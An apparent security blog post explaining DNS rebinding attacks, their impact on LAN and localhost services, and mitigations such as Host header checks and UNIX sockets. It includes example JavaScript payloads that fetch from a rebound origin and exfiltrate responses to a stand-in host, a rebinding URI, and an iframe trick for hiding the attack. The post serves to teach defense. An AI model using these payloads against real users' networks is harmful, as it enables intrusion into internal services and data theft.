/dev/posts/

DNS rebinding explained

Published:

Updated:

A quick summary about how DNS rebinding attacks work. The main motivation for this post is to have a diagram to show when explaining DNS-rebinding attacks.

The article is structured to encourage non-linear reading. The central content is sequence diagram of the summary section. Ideally, it should be self-standing and you should be able to skip the rest of the post.

In appendix, you will find a sequence diagram for the non-browser-mediated DNS rebinding attacks described in “When TLS Hacks You” to illustrate the fact that DNS-rebinding attacks are not limited to browser-mediated attacks on HTTP services.

Table of content

Summary

The following sequence diagram summarizes how a basic browser-mediated DNS rebinding attacks works.

Sequence diagram of a DNS rebinding attack
Overview of a typical DNS rebinding attack

If this does not makes sense, you could check instead:

Warning

DNS-rebinding is not limited to browser-mediated attacks and is not limited to attacks to HTTP services:

  • it is possible use other other services for mediating the attack;
  • it is possible to target non-HTTP services;
  • it is possible to target non-HTTP through web browsers.

See for example When TLS Hacks You which combines DNS-rebinding attacks with injections based on TLS sessions.

Explanations

General idea

The main steps are as follow:

  1. the browser of some user navigates to a malicious web server (http://foo.example:8000/) and receives some malicious JavaScript code;
  2. the attacker now changes the IP address associated with foo.example (DNS rebinding) to a machine he wants to attack (typically the private IP address of a machine inside the LAN of the user or the localhost IP address address in order to target the user machine);
  3. at this point, the malicious JavaScript code (executing on the user browser) can make same-origin requests to http://foo.example:8000 which will reach the target service on port 8000.

In summary, the attacker uses the browser of the user as kind of proxy to make requests to a server he can't access directly thanks to some DNS-rebinding trick.

Participants

Browser: the web browser of the user is used/tricked by a malicious web server into attacking some other web application/service.

Malicious server: a malicious remote server. It acts as a web server in order to deliver a malicious JavaScript code to the browser: the attack is triggered when the web browser navigates to this web server. It may as well be used for data exfiltration.

Target service: a service targeted by the malicious web server. This is typically a web server in the same local network as the user browser which is not accessible from outside of the local network (and from the malicious server). This might be a service running on the user machine (and not reachable from the LAN). The malicious server does not access this application directly but tricks the browser into attacking it. It does not need to be an HTTP service: some non-HTTP services can be attacked as well if they can be tricked into processing the HTTP request.

DNS resolver: the resolver(s) used by the web browser. There might be several resolvers implied in the name resolution (stub resolver vs. recursive resolver). This is typically a service of the user ISP, possibly running on the modem/router or outside of the local network (possibly using DNS-ober-HTTPS or DNS-over-TLS). Some form of non-recursive/stub resolver could be involved as well.

DNS authoritative server: a DNS authoritative server conducting the DNS rebinding. For example, this might be an instance of whonow.

Payload delivery

The first phase is quite straightforward. The web browser navigates to some web site (in our example http://foo.example:8000) and receives some JavaScript code:

  1. the browser requests the IP address of the foo.example domain name (message 1);
  2. the DNS revolver forwards the request to the authoritative server (message 2);
  3. the authoritative server answers with the IP address of the malicious web server (message 3);
  4. the DNS resolver forwards the response to the browser (message 4);
  5. the web browser sends the request to this web server (message 5);
  6. this web server sends some JavaScript code (message 6) which is executed by the web browser in the context of the http://foo.example:8000 origin.

The following code corresponds to the diagram:

<script>
function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main() {
  // Wait for DNS reponse to expire:
  await sleep(65000);
  // Attack target:
  const response = await fetch("/resource", {
    "method": "POST",
    "headers": {
      "Content-Type": "application/json"
    },
    "body": JSON.stringify({
      // ...
    })
  });
  // Data exfiltration (optional):
  const content = await response.text();
  await fetch("//bar.example/exfiltration", {
    "method": "POST",
    "headers": {
      "Content-Type": "text/plain"
    },
    "body": content
  });
}
main();
</script>

Attacking the target

The JavaScript code waits for the DNS reponse for foo.example to expire:

await sleep(65000);

Then it triggers a same-origin HTTP request:

const response = await fetch("/resource", {
  "method": "POST",
  "headers": {
    "Content-Type": "application/json"
  },
  "body": JSON.stringify({
    // ...
  })
});

This request is considered as a same-origin request and as a consequence:

At this point, the browser needs to open up a new connection to http://foo.example:8000. As the DNS response is expired, it needs to make a new DNS request in order to get the IP address associated with the foo.example domain (messages 7 and 8). This time, the authoritative server answers with the address of the target site (message 9):

DNS rebinding happens when we rebind a domaine name to a new completely different IP address. In our case, the http://foo.example:8000 origin which was associated with the malicious server is now associated with the target server.

At this point, the browser sends the HTTP request to the target web site (message 11) considered as the http://foo.example:8000 origin. This way, the attacker can make requests to the target server it could not do with CSRF attacks.

As the request is considered as a same-origin request, the JavaScript code can access the content of the response (status code, HTTP headers, body):

const content = await response.text();

Note that in order to be considered as same-origin, the JavaScript code must be served using the same port number (8000 in our example) as the target server.

Data exfiltration

The JavaScript can optionally exfiltrate (message 13) any data received from the target server to another server (http://bar.example in our example):

await fetch("//bar.example/exfiltration", {
  "method": "POST",
  "headers": {
    "Content-Type": "text/plain"
  },
  "body": content
});

Impact

Attacking unreachable services

Usually the motivation for conducting a DNS rebinding attack is to attack some internal service which is not directly acessible by the attacker (because of firewall, NAT, etc.). The attacker uses a browser which can access the target server (either because this browser physically connected in the network of the target server or because it is connected to this network through a VPN).

This can be used to:

Hiding the attacker IP address

Alteratively, a DNS rebinding attack could be used to attack the target server without revealing the attacker IP address to the target server: from the point of view of the target server, the requests are coming from the IP address of the browser.

Mitigations

See the relevant wiki page of the Singularity of Origin project

Using HTTPS

If the target web site is only reachable using HTTPS, the DNS rebinding attack will usually not be possible.

When trying to do a DNS rebinding attack using HTTPS (eg. to https://foo.example), the certificate received from the target web site (before message 11), won't match with the request domain name (example.com) and the browser won't accept it.

Warning

If certificate verification is disabled in the browser for some reason, this mitigation won't be effective and HTTPS sites: the browser could be used to target some HTTPS web sites.

Using authentication

If the services of the target server are protected by some form of authentication, the attacker will not be able to leverage the DNS rebinding attack unless it is able to find/guess the credentials.

In this case, the attacker could still use a DNS rebinding attack to:

Checking the Host header

The target server can detect a DNS rebinding attack by validating the Host HTTP header of the incoming request (in message 11).

Note: using the Origin HTTP

On modern browsers, the Origin HTTP header could be used as well in some cases but it is really the Host header which should be validated.

We can check whether a web application checks the Host HTTP header by making requests with bogus Host headers:

curl http://target.example -H"Host: rebind.example"

Web sites/applications which are running behind a reverse proxy, generally use virtual hosts. When conducting a DNS rebinding attacks against a reverse proxy, only the default virtual host will usually match the Host header and could be affected by a DNS rebinding attack.

This is a good reason to always define a placeholder default virtual host:

server {

  listen  80 default_server;
  listen  [::] default_server;
  listen  443 ssl default_server;
  listen  [::]:443 ssl default_server;

  server_name localhost;

  ssl_certificate /etc/ssl/nginx/default;
  ssl_certificate_key /etc/ssl/nginx/default;
  include snippets/tls.conf;

  return 404;
  location / {
    try_files $uri $uri/ /index.html;
  }

}

Warning

The backend services might still be vulnerable to DNS-rebinding attacks if they are reachable by the client.

DNS rebinding protection in the resolver

The resolver could block some form of DNS rebinding attacks (when receiving message 9). This protection can be implemented in the recursive resolver or in a stub resolver.

One possibility is to reject any localhost or private IP address in order to block DNS rebinding attacks targeting the user machine or other machines on the local network[3]. However, this approach is apparently not enough.

Many resolvers have support for some form of DNS rebinding protection. Usually this involved blocking private IP addresses in responses.

Examples:

Some ISPs enable it default. In some cases, the protetion in implemented in the modem router and can be disabled.

See the references for the limitations of those protections however. The applications should not expect these mitigations to be in place and be effective.

DNS rebinding protection in the browser

The same DNS rebinding protection could be implemented in the browser.

For example, Firefox has support for some form of DNS rebinding protection: when DNS-over-HTTPS (DoH) is enabled, Firefox blocks private IP addresses by default (network.trr.allow-rfc1918=false).

Apparently, old versions of the NoScript used to have some support of protection against DNS-rebinding attacks targeting the local network as part of the ABE (Application Boundaries Enforcer) component.

The Private Network Access draft intends to standardize protections in the browsers against browser-based attacks (CSRF, DNS-rebinding, etc.) to LAN or localhost services.

Using UNIX sockets

If possible/relevant, for local services, you could bind your service to a UNIX socket instead of binding to an IP one. This makes sure no internet-based connection can directly target it (preventing DNS-rebinding, CSRF attacks, etc). In addition, it provides some support for blocking other system users from accessing the service. I would suggest running all the services over UNIX sockets by default.

Notes: UNIX socket support

UNIX sockets are available on Microsoft Windows since 2017 (SOCK_STREAM only).

Java supports SOCK_STREAM Unix socket since Java 16 (2021) only.

Targets

Public web sites are usually not vulnerable to DNS rebinding attacks:

Even if they are vulnerable, this attack is often not very interesting for the attacker:

  1. with DNS rebinding, the attacker cannot use the session of the connected user (as is done with CSRF attacks);
  2. the attacker can attack the server directly anyway.

For those reasons, DNS rebinding attacks are usually not very well known.

Embedded Devices

Embedded devices on the LAN are very interesting targets for DNS rebinding attacks and many of them have been found to be vulnerable to DNS rebinding attacks:

This could include for example:

Devices supporting Universal Plug and Play (UPnP) are often vulnerable: they expose services on the LAN and usually don't use any form of authentication by design.

In the case of routers, this can be used for example

In the case of storage (NAS, etc.), this could be used to:

Developer instances and tooling

Another interesting class of interesting targets are instances run by developper and other developper tools:

Moreover they sometime expose interesting information or features in development mode:

This includes:

Example

I recently realized that the (custom) preview server of my (custom) static web site generator was vulnerable to DNS rebinding attacks. An attacker could have exploited this to exfiltrate the content of my blog post drafts (some of which include some notes about yet-undisclosed vulnerabilities). This is probably the case of most static website generators.

This is now handled by this snippet:

hostname = "127.0.0.1"
expected_host = hostname +":" + str(port)
...
if environ["HTTP_HOST"] != expected_host:
    start_response('404 Not Found',
                    [("Content-Type", "text/plain")])
    yield b"Not found\n"
    return

I am not aware of any static website generator or development server which would provide some protection against DNS rebinding attacks (even disabled by default).

Other localhost services

Other localhost-bound services could be attacked.

Examples:

Practical attack

In the section, I discuss some things to make the attack presented more practical.

Whonow

whonow is a simple and useful DNS rebinding service. A public instance is available under the domain rebind.network. A typical URI for executing a DNS rebinding attack look like this:

http://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:8000/

iframe

One might argue that the user would notice the weird URI when navigating to the malicious server (http://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-....rebind.network:8000/):

The attacker can hide such a weird URI by embedding an iframe to our DNS rebinding URI from a more innocuous-looking URI:

<iframe src="http://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:8000/">
</iframe>
The DNS rebinding atatck can be hidden in an iframe.
Hiding a DNS-rebinding attack using an iframe

Modern browsers prevent mixed content (eg. an iframe in an HTTPS page embedding an HTTP page). When targeting a http:// service, the attacker cannot serve the iframe from a https:// page.

Loop

In order to avoid to hardcode a waiting duration, we can use a loop such as:

async function main() {
  while (true) {
    // Wait for DNS reponse to expire:
    await sleep(2000);    
    // Attack target:
    const response = await fetch("/resource", {
      "method": "POST",
      "headers": {
        "Content-Type": "application/json"
      },
      "body": JSON.stringify({
        // ...
      })
    });
    if (response.status != 200)
      // DNS response not expired yet?
      continue;
    // Data exfiltration (optional):
    const content = await response.text();
    await fetch("//bar.example/exfiltration", {
      "method": "POST",
      "headers": {
        "Content-Type": "text/plain"
      },
      "body": content
    });
    return;
  }
}

Port scanning

We might argue that the attacker cannot guess the private IP address and port of targets reachable from a given browser. The attacker could for example use WebSockets for scanning ports on private IP ranges.

Singularity Of Origin includes a port scanner.

References

On DNS rebinding

Tooling

On port scanning

Standards

DNS rebinding vulnerabilities

Some DNS rebinding vulnerabilities:

Other

Appendix, DNS-rebinding and TLS sessions

This diagram summarizes a DNS rebinding attack using TLS described in “When TLS Hacks You”. It illustrates the fact that DNS-rebinding attacks are not limited to the example of browser-mediated attacks.

TLS session resumption can be exploited to attack some protocols
                      using DNS rebinding.
Overview of “When TLS Hacks You” (illustrated with session tickets)

In this examples, mediating established a TLS connection with the malicious server. The malicious sets a TLS session ticket containing a malicious payload at the end of the TLS handshake. When the mediating server tries to establish a new connections it connects instead to the target service (DNS-rebinding attack) and sends the malicious TLS ticket as part of the TLS ClientHello message. If the target server interprets the TLS header as garbage, he can end up interpreting the malicious payload included in the TLE session ticket.

This approach works the same with:


  1. For cross origin request, the JavaScript code can only use the application/x-www-form-urlencoded, multipart/form-data and text/plain Media-Types unless the target resource opts in with Cross-Origin Resource Sharing (CORS). However, the content of the HTTP request body can be arbitrary. ↩︎

  2. Even if some feature of gRPC are not directly available using fetch(), it should still be possible to trigger gRPC calls as far as I understand. ↩︎

  3. Some other addresses should be blocked as well such as 0.0.0.0, the associated IPv4-mapped IPv6 address (eg. ::ffff:192.168.1.254). ↩︎